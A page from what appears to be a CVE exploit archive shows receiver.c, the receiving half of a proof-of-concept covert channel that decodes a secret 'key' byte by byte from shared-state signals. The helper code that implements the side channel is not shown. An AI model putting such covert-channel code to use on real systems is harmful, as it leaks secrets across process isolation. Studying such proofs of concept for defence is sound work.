4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / receiver.c C
#include <stdio.h>
#include <assert.h>
#include <unistd.h>
#include <sys/mman.h>
#include "util.h"
#include "covert_channel.h"


// wait valid0 signal
void wait_valid0() {
	while (1) {
		if (check_state(func_valid0)) {
			break;
		}
		usleep(1000000);
	}
}

// wait valid1 signal
void wait_valid1() {
	while (1) {
		if (check_state(func_valid1)) {
			break;
		}
		usleep(1000000);
	}
}


char read_data() {
#ifdef DEBUG
	debug_print();
#endif
	char data = 0;
	if (check_state(func_0)) {
		data |= (1 << 0);
	}
	if (check_state(func_1)) {
		data |= (1 << 1);
	}
	if (check_state(func_2)) {
		data |= (1 << 2);
	}
	if (check_state(func_3)) {
		data |= (1 << 3);
	}
	if (check_state(func_4)) {
		data |= (1 << 4);
	}
	if (check_state(func_5)) {
		data |= (1 << 5);
	}
	if (check_state(func_6)) {
		data |= (1 << 6);
	}
	if (check_state(func_7)) {
		data |= (1 << 7);
	}
	return data;
}

int main() {
	printf("Sender process\n");

	char buf[256] = {'\0'};
	int index = 0;

	while (1) {
		assert(index < 255);
		printf("waiting ...\n");

		// wait valid signal
		if (index % 2 == 0) {
			wait_valid0();
		} else {
			wait_valid1();
		}

		buf[index] = read_data();
		printf("recved caracter(%c)\n", buf[index]);

		// set ready signal
		func_ready();

		if (check_state(func_last)) { // is last ?
			break;
		}

		index++;
	}

	printf("Received key: %s\n", buf);
	return 0;
}